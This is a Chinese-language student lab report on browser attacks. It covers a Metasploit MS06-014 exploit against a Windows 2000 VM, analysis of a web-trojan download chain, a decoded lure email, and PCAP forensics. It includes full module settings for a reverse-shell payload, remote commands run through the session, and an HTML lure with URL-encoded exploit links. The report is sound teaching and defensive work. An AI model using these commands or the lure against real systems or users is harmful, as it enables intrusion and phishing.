20252817 2025-2026-2 《网络攻防实践》实践十一报告
20252817 2025-2026-2 《网络攻防实践》实践十一报告
1.实践内容
本次实践主要围绕浏览器安全攻防展开
我完成的内容主要有三部分:
- 在 Kali 中使用 Metasploit 的
MS06-014浏览器漏洞模块,构造本地实验用的网页木马 URL,并在 Win2kServer_SP0 中用 IE 访问验证渗透效果。 - 分析课程材料中的网页挂马样本,从
start.html开始逐层找出后续网页、脚本、控件漏洞和下载的程序。 - 对网页木马攻击流量做取证分析,结合 HTTP 请求、跳转和主机通信关系,还原用户访问恶意页面后的主要过程。
2.实践过程
2.1 实验环境准备
本次使用的虚拟机如下:
| 虚拟机 | 用途 | 已确认 IP |
|---|---|---|
| Kali | Metasploit、哈希计算、网页挂马和 PCAP 分析 | 192.168.200.64、192.168.200.194 |
| Win2kServer_SP0 | 用 IE 访问 Kali 生成的实验网页 | 192.168.200.192 |
| WinXPattacker | 静态分析工具备用环境 | 192.168.200.66 |
在 Kali 中先确认主机名和网络:
hostname
ip addr
ping 192.168.200.192
浏览器渗透这一部分使用的是 Kali 的 VMnet1 地址 192.168.200.194 和 Win2kServer_SP0 当前 DHCP 获取到的地址 192.168.200.192。先确认 Kali 能 ping 通 Win2kServer_SP0,说明两个虚拟机之间的基础网络是通的。

2.2 Web 浏览器渗透攻击实验
这一部分使用的是 Metasploit 中的 IE 浏览器漏洞模块。老师要求使用 MS06-014,但我在新版 Kali 的 Metasploit 中直接搜索时没有搜到结果:
msf > search ms06_014
[-] No results from search

后来改为直接使用对应模块:
use exploit/windows/browser/ie_createobject
再查看模块信息:
info exploit/windows/browser/ie_createobject
可以看到该模块名称为:
MS06-014 Microsoft Internet Explorer COM CreateObject Code Execution

所以后续实验使用的模块是:
exploit/windows/browser/ie_createobject
本次浏览器渗透使用 Kali 作为攻击机,Win2kServer_SP0 作为靶机。在Metasploit 中配置模块:
use exploit/windows/browser/ie_createobject
set target 1
set payload windows/shell/reverse_tcp
set SRVHOST 192.168.200.194
set SRVPORT 8080
set URIPATH 20252817_ms06_014
set LHOST 192.168.200.194
set LPORT 4444
show options
exploit -j
主要参数含义如下:
| 参数 | 设置 | 说明 |
|---|---|---|
SRVHOST |
192.168.200.194 |
Kali 提供恶意网页的地址 |
SRVPORT |
8080 |
Web 服务端口 |
URIPATH |
20252817_ms06_014 |
URL 路径,包含自己的学号 |
payload |
windows/shell/reverse_tcp |
反向命令行 Shell |
LHOST |
192.168.200.194 |
靶机反向连接回 Kali 的地址 |
LPORT |
4444 |
反向连接端口 |
运行后,Metasploit 输出实验 URL:

http://192.168.200.194:8080/20252817_ms06_014
然后在 Win2kServer_SP0 中打开 IE,访问这个 URL。

访问后,Kali 端出现:

这说明漏洞触发成功,并且 Kali 已经获得了 Win2kServer_SP0 的远程 Shell。
接着查看会话:
sessions -l

可以看到:
Active sessions
===============
Id Type Information
-- ---- -----------
1 shell x86/windows Shell Banner: Microsoft Windows 2000 [Version 5.00.2195]
然后通过 session 执行远程命令:
sessions -i 1 -c ipconfig
sessions -i 1 -c hostname

结果中可以看到:
IP Address. . . . . . . . . . . . : 192.168.200.192
hostname
icst-win2k-s
说明攻击机已经通过浏览器漏洞在靶机上执行了命令,本部分实验完成。
2.3 网页挂马攻击场景分析
先把实验 11 的材料放到 Kali 桌面 exp11 文件夹中,然后查看入口文件 start.html:
cd /home/kali/Desktop/exp11/
grep -n "new09\\|iframe\\|urlresult" start.html
可以看到:

这说明 start.html 不是最终恶意代码,而是通过隐藏 iframe 引入了 new09.htm。
接着计算 start.html 的 MD5:
md5sum start.html

结果为:
d3aa87e15a58014dfe31009bf909a01e start.html
本地实验材料中没有单独给出 new09.htm 文件,只能在 start.html 里看到它被引用。课程参考材料中记录了 new09.htm 的内容,它继续加载两个地址:
http://aa.18dd.net/aa/kl.htm
http://js.users.51.la/1299644.js
按照实验要求,对 URL 做 32 位 MD5:
echo -n "http://aa.18dd.net/aa/kl.htm" | md5sum
echo -n "http://js.users.51.la/1299644.js" | md5sum
得到:
| URL | MD5 |
|---|---|
http://aa.18dd.net/aa/kl.htm |
7f60672dcd6b5e90b6772545ee219bd3 |
http://js.users.51.la/1299644.js |
23180a42a2ff1192150231b44ffdf3d3 |
其中 1299644.js 更像统计代码,主要恶意逻辑在 kl.htm 中。
后续继续分析 kl.htm。这里不能直接当普通网页看,因为里面的主要脚本做了混淆。我先在 Kali 中进入解压后的样本目录:
cd /home/kali/Desktop/exp11/webtrojan_samples
ls original/kl.htm hashed/7f60672dcd6b5e90b6772545ee219bd3
其中 hashed/7f60672dcd6b5e90b6772545ee219bd3 是按照 URL 的 MD5 命名保存的文件,original/kl.htm 是同一个文件按原始文件名保存的副本。
先看它用了什么混淆方式:
grep -nE "base64decode|xxtea_decrypt|\\\\x73\\\\x63\\\\x72\\\\x69\\\\x70\\\\x74" original/kl.htm
可以看到 kl.htm 中出现了 base64decode 和 xxtea_decrypt,并且密钥用十六进制写成了 \x73\x63\x72\x69\x70\x74,也就是字符串 script。这说明它不是直接写明后续攻击逻辑,而是先 Base64,再用 XXTEA 解密,最后还夹杂十六进制转义。
这里我没有直接在浏览器里运行 kl.htm,而是打开课程给的“网页挂马分析实践参考(上).pdf”,对照里面的解密结果继续整理。参考材料中给出的解密结果显示,kl.htm 会尝试创建多个 ActiveX 对象:
| ActiveX 对象 | 目标 |
|---|---|
Adodb.Stream |
利用 Windows 组件下载并写入文件 |
MPS.StormPlayer |
暴风影音控件 |
POWERPLAYER.PowerPlayerCtrl.1 |
PPStream 控件 |
BaiduBar.Tool |
百度搜霸控件 |
也就是说,kl.htm 的作用是先判断本机有没有这些容易被利用的控件。如果有,就继续加载对应脚本或下载 CAB 文件。后续文件和 MD5 如下:
| URL | MD5 |
|---|---|
http://aa.18dd.net/aa/1.js |
5d7e9058a857aa2abee820d5473c5fa4 |
http://aa.18dd.net/aa/b.js |
3870c28cc279d457746b3796a262f166 |
http://aa.18dd.net/aa/pps.js |
5f0b8bf0385314dbe0e5ec95e6abedc2 |
http://down.18dd.net/bb/bd.cab |
1c1d7b3539a617517c49eee4120783b2 |
这些脚本会继续下载可执行文件:
| 来源 | 下载文件 |
|---|---|
1.js |
http://down.18dd.net/bb/014.exe |
b.js |
http://down.18dd.net/bb/bf.exe |
pps.js |
http://down.18dd.net/bb/pps.exe |
bd.cab |
解出 bd.exe |
继续分析下载器,可以看到它还会下载:
http://down.18dd.net/kl/0.exe
...
http://down.18dd.net/kl/19.exe
也就是 20 个二阶段程序。
综合起来,这个网页挂马的大致流程是:
start.html
-> new09.htm
-> kl.htm
-> 判断本机 ActiveX 控件
-> 加载 1.js / b.js / pps.js / bd.cab
-> 下载 014.exe / bf.exe / pps.exe / bd.exe
-> 继续下载 0.exe 到 19.exe
-> 创建 serdst.exe 并安装伪装服务
从功能看,这个网页挂马不是单个网页脚本,而是一条完整的攻击链:入口网页负责隐藏跳转,后续脚本负责判断浏览器控件漏洞,成功后下载木马程序。
2.4 Web 浏览器渗透攻击攻防对抗
这一部分按“攻击方构造、 防守方分析”的思路完成。这里没有向真实用户发送邮件,而是在本地做一个 HTML 邮件样例,用来练习挂马链接的提取和解混淆。
先在 Metasploit 中确认两个浏览器端漏洞模块。第一个模块就是 2.2 中已经跑通的 MS06-014:
info exploit/windows/browser/ie_createobject

第二个选择 Windows WMF 相关浏览器攻击模块,用来作为对抗分析中的另一个漏洞样例:
info exploit/windows/browser/ms06_001_wmf_setabortproc

两个模块对应关系如下:
| 模块 | 对应漏洞 |
|---|---|
exploit/windows/browser/ie_createobject |
MS06-014,IE COM CreateObject 代码执行 |
exploit/windows/browser/ms06_001_wmf_setabortproc |
Windows WMF SetAbortProc 代码执行 |
攻击方可以把两个本地实验 URL 放进一个 HTML 邮件样例里。为了体现“混淆处理”,我没有直接写明完整 URL,而是用 URL 编码保存。这个文件只保存在本地用于分析:
<html>
<body>
<p>老师发的课程资料见下面链接:</p>
<a href="#" onclick="location.href=decodeURIComponent('http%3A%2F%2F192.168.200.194%3A8080%2F20252817_ms06_014')">查看课程资料</a>
<br>
<a href="#" onclick="location.href=decodeURIComponent('http%3A%2F%2F192.168.200.194%3A8081%2F20252817_ms06_001')">查看补充说明</a>
</body>
</html>


防守方分析时不要直接点击链接,而是先看 HTML 源码。这里主要看 href、onclick、decodeURIComponent 这些字段。可以看到两个被编码过的地址:
http%3A%2F%2F192.168.200.194%3A8080%2F20252817_ms06_014
http%3A%2F%2F192.168.200.194%3A8081%2F20252817_ms06_001
其中 %3A 代表 :,%2F 代表 /。为了验证还原结果,我在 Kali 中执行:
python3 - <<'PY'
from urllib.parse import unquote
u1 = "http%3A%2F%2F192.168.200.194%3A8080%2F20252817_ms06_014"
u2 = "http%3A%2F%2F192.168.200.194%3A8081%2F20252817_ms06_001"
print(unquote(u1))
print(unquote(u2))
PY
输出结果就是还原后的两个 URL:
http://192.168.200.194:8080/20252817_ms06_014
http://192.168.200.194:8081/20252817_ms06_001
再把 URL 中的路径和前面的 Metasploit 模块进行对应:
| 还原出的 URL | 对应模块 | 判断 |
|---|---|---|
http://192.168.200.194:8080/20252817_ms06_014 |
ie_createobject |
MS06-014,攻击 IE ActiveX / COM CreateObject |
http://192.168.200.194:8081/20252817_ms06_001 |
ms06_001_wmf_setabortproc |
MS06-001,攻击 Windows WMF 图形处理组件 |
我的防守方分析步骤可以概括为:
- 查看邮件源代码,找到
href、iframe、script src、window.location等字段。 - 如果链接被 URL 编码,先做 URL decode。
- 如果脚本中出现
eval、unescape、String.fromCharCode,先还原字符串再分析。 - 将还原出的 URL 和 Metasploit 模块输出对比,判断攻击目标。
- 结合模块名、漏洞编号、目标浏览器或控件,写出防守结论。
防御措施主要包括:
- 不直接点击邮件中的陌生链接。
- 禁用或限制高风险 ActiveX 控件。
- 使用补丁更新后的浏览器和系统。
- 在网关、代理或 IDS 中拦截可疑 iframe、混淆 JavaScript 和异常下载行为。
- 对邮件中的短链接、编码链接和脚本跳转做沙箱检测。
2.5 网页木马攻击流量取证分析
材料中还提供了一个抓包文件:
参考答案\Web浏览器遭遇攻击取证分析实践\suspicious-time.pcap
我对该文件做了基本统计:
| 项目 | 结果 |
|---|---|
| PCAP MD5 | bd1fd5c2a18117e8bc4c5e16e4942cd8 |
| 数据包数量 | 745 |
| HTTP 样本数量 | 139 |
通信最多的 IP 包括:
| IP | 数据包数量 |
|---|---|
10.0.4.15 |
315 |
10.0.3.15 |
267 |
192.168.56.52 |
175 |
64.236.114.1 |
130 |
192.168.56.50 |
113 |
10.0.2.15 |
94 |
打开老师提供的 suspicious-time.pcap:

在 Wireshark 中先用过滤条件查看 HTTP:
http

再根据主机名过滤:
http.host contains "rapidshare"
http.host contains "sploitme"


流量中可以看到一条比较清楚的访问链:
10.0.2.15 -> rapidshare.com.eyu32.ru /login.php
10.0.2.15 -> sploitme.com.cn /?click=3feb5a6b2f
sploitme.com.cn -> 302 跳转到 /fg/show.php?s=3feb5a6b2f
10.0.2.15 -> sploitme.com.cn /fg/show.php?s=3feb5a6b2f
其中关键 HTTP 请求如下:

GET /login.php
Host: rapidshare.com.eyu32.ru
这一条说明受害主机先访问了伪装成 RapidShare 登录页的网站。

GET /?click=3feb5a6b2f
Host: sploitme.com.cn
Referer: http://rapidshare.com.eyu32.ru/login.php
这一条说明用户从 rapidshare.com.eyu32.ru 页面跳转到了 sploitme.com.cn。其中 Referer 字段能说明跳转来源。
HTTP/1.1 302 Found
Location: http://sploitme.com.cn/fg/show.php?s=3feb5a6b2f
GET /fg/show.php?s=3feb5a6b2f
Host: sploitme.com.cn
从这些流量可以看出,用户先访问了伪装成 RapidShare 登录页面的网站,随后被引到 sploitme.com.cn,后者更像真正提供浏览器攻击页面的服务器。
这部分流量我最后按攻击链条整理如下:
| 阶段 | 证据 | 说明 |
|---|---|---|
| 伪装入口 | rapidshare.com.eyu32.ru/login.php |
用户先访问伪装登录页面 |
| 跳转参数 | /?click=3feb5a6b2f |
页面把访问继续导向后续站点 |
| 跳转来源 | Referer: rapidshare.com.eyu32.ru/login.php |
说明 sploitme.com.cn 请求来自伪装页 |
| 302 响应 | Location: /fg/show.php?s=3feb5a6b2f |
服务器继续把用户带到攻击页面 |
| 攻击入口 | /fg/show.php?s=3feb5a6b2f |
更像真正承载浏览器攻击逻辑的位置 |
所以这里不能只看某一个包,关键是把 Host、Referer、302 Found 和 URL 路径串起来,才能说明用户是怎样从伪装页面进入攻击页面的。
3.学习中遇到的问题及解决
-
问题1:Metasploit 中直接搜索
ms06_014没有结果。 -
问题1解决方案:改用
exploit/windows/browser/ie_createobject,再通过info确认该模块对应MS06-014 Microsoft Internet Explorer COM CreateObject Code Execution。 -
问题2:Win2kServer_SP0 一开始 ping 不通。
-
问题2解决方案:在 Win2k 中查看
ipconfig /all,发现网卡显示Cable Disconnected。关机后检查虚拟机网卡连接,重新启动后 Win2k 获取到192.168.200.192,Kali 可以正常 ping 通。 -
问题3:第一次访问实验 URL 时没有马上得到 Shell。
-
问题3解决方案:检查后发现 IE 地址栏里多了引号,导致访问地址不正确。重新输入
http://192.168.200.194:8080/20252817_ms06_014后,Kali 成功显示Command shell session 1 opened。 -
问题4:网页挂马样本被宿主机安全软件报毒。
-
问题4解决方案:不在宿主机上解压和运行样本,把压缩包放到 Kali 中解压,主要做静态分析。需要动态观察 EXE 时,只放到隔离的 Windows 虚拟机中运行,并提前创建快照。
-
问题5:网页挂马链路比较长,文件容易跟丢。
-
问题5解决方案:按“入口页面 -> iframe/script -> URL MD5 -> 脚本文件 -> 下载器 -> 二阶段程序”的顺序整理,每发现一个新地址就计算 MD5,再用哈希值去找对应文件。
4.实践总结
这次实验让我对浏览器攻击有了更直观的认识。浏览器漏洞利用不是简单地“访问一个网页”,中间其实包含了服务端构造 exploit 页面、客户端浏览器解析脚本、ActiveX 或插件被调用、payload 回连等多个环节。只要其中一个条件不满足,比如系统补丁、IE 安全设置、控件版本不匹配,就可能无法拿到会话。
网页挂马分析部分让我感觉最有收获。一个看起来普通的 start.html,里面只要藏一个 0 宽 0 高的 iframe,就可以继续加载后面的脚本。后面的脚本再通过加密、混淆、控件判断和下载器,把攻击链条拉得很长。如果不一步一步记录 URL 和 MD5,很容易不知道自己分析到了哪一层。
取证部分也说明,流量分析要抓住主线。本次抓包里比较关键的是 rapidshare.com.eyu32.ru 到 sploitme.com.cn 的跳转关系。把 HTTP Host、Referer、302 跳转和访问时间放在一起看,就能比较清楚地还原用户是怎么从伪装页面进入攻击页面的。
参考资料
- 课程实验材料:
C:\Users\ch\Desktop\study\网络安全应用\实验11 - Metasploit 模块信息:
exploit/windows/browser/ie_createobject - 课程材料:
网页挂马分析实践参考(上).pdf - 课程材料:
网页挂马分析实践参考(下).pdf - Metasploit 模块文档:https://docs.metasploit.com/
- Wireshark 官方文档:https://www.wireshark.org/docs/

浙公网安备 33010602011771号